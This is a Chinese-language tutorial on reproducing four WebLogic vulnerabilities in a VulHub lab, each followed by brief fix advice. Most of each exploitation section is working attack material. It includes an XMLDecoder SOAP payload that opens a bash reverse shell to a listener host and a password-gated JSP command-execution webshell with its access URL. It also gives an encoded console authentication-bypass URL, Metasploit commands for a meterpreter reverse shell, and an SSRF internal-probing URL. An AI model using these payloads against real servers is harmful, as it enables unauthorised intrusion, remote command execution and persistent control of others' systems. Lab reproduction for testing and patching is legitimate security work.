weblogic一些漏洞复现(原创)
字数 1702 2025-08-12 11:34:29
WebLogic 漏洞复现与利用教学文档
环境搭建
VulHub 环境准备
-
下载 VulHub 项目:
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip unzip vulhub-master.zip cd vulhub-master -
进入特定漏洞目录(以 Flask/SSTI 为例):
cd flask/ssti -
编译并启动环境:
docker-compose build docker-compose up -d -
测试完成后清理环境:
docker-compose down -v
CVE-2017-10271 XMLDecoder 反序列化漏洞
漏洞概述
- 影响组件:WebLogic WLS Security 组件
- 漏洞原因:XMLDecoder 解析用户传入的 XML 数据时出现反序列化漏洞
- 可执行任意命令,甚至可通过反弹 shell 获取权限
影响版本
- 10.3.6.0
- 12.1.3.0.0
- 12.2.1.1.0
漏洞检测
使用 WeblogicScan 工具:
git clone https://github.com/rabbitmask/WeblogicScan.git
python3 WeblogicScan.py -u 192.168.241.137 -p 7001
漏洞利用
-
构造恶意 XML 请求:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.241.137:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 697 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>bash -i >& /dev/tcp/192.168.241.143/4444 0>&1</string></void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> -
本地监听反弹 shell:
nc -lvvp 4444
修复建议
- 删除 wls-wsat 组件并重启 WebLogic
- 下载并安装官方补丁
CVE-2018-2894 任意文件上传漏洞
漏洞概述
- 影响组件:Web Service Test Page
- 默认在生产模式下不开启
- 可上传任意 JSP 文件获取服务器权限
影响版本
- 10.3.6
- 12.1.3
- 12.2.1.2
- 12.2.1.3
漏洞利用步骤
-
获取管理员密码:
docker-compose logs | grep password -
登录后台并开启 Web Service Test Page
-
访问配置页面:
/ws_utc/config.do -
设置工作目录:
- Linux:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css - Windows:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war
- Linux:
-
上传 JSP 木马:
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> -
通过 Burp 获取上传文件的时间戳
-
访问 webshell:
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]?pwd=123&i=ls
修复建议
- 设置 Config.do、begin.do 页面需要登录授权后访问
- 在 IPS 等防御产品中加入相应特征
- 升级到官方最新版本
CVE-2020-14882/14883 未授权命令执行漏洞
漏洞概述
- CVE-2020-14882:绕过管理控制台权限验证
- CVE-2020-14883:通过 HTTP 协议执行任意命令
- 组合利用可通过 GET 请求以未授权身份执行命令
影响版本
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞利用
-
访问后台绕过 URL:
http://127.0.0.1/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29 -
使用 Metasploit 获取 shell:
search CVE-2020-14882 use exploit/multi/http/weblogic_admin_handle_rce set target 1 # 根据目标系统选择 set payload linux/x64/meterpreter_reverse_https exploit
SSRF 漏洞 (CVE-2014-4210)
漏洞概述
- 影响组件:uddiexplorer 应用
- 可发送任意 HTTP 请求,攻击内网中 redis、fastcgi 等组件
影响版本
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 10.0.2.0
漏洞利用
-
探测端口和内网主机:
http://192.168.241.137:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:7001 -
使用 Burp 爆破或其他工具进行内网探测
总结
本文档详细介绍了 WebLogic 多个高危漏洞的复现方法,包括:
- XMLDecoder 反序列化漏洞 (CVE-2017-10271)
- 任意文件上传漏洞 (CVE-2018-2894)
- 未授权命令执行漏洞 (CVE-2020-14882/14883)
- SSRF 漏洞 (CVE-2014-4210)
对于每个漏洞,都提供了:
- 漏洞原理说明
- 影响版本范围
- 详细复现步骤
- 修复建议
安全研究人员可使用此文档进行漏洞验证和安全测试,企业管理员可参考修复建议加强系统安全防护。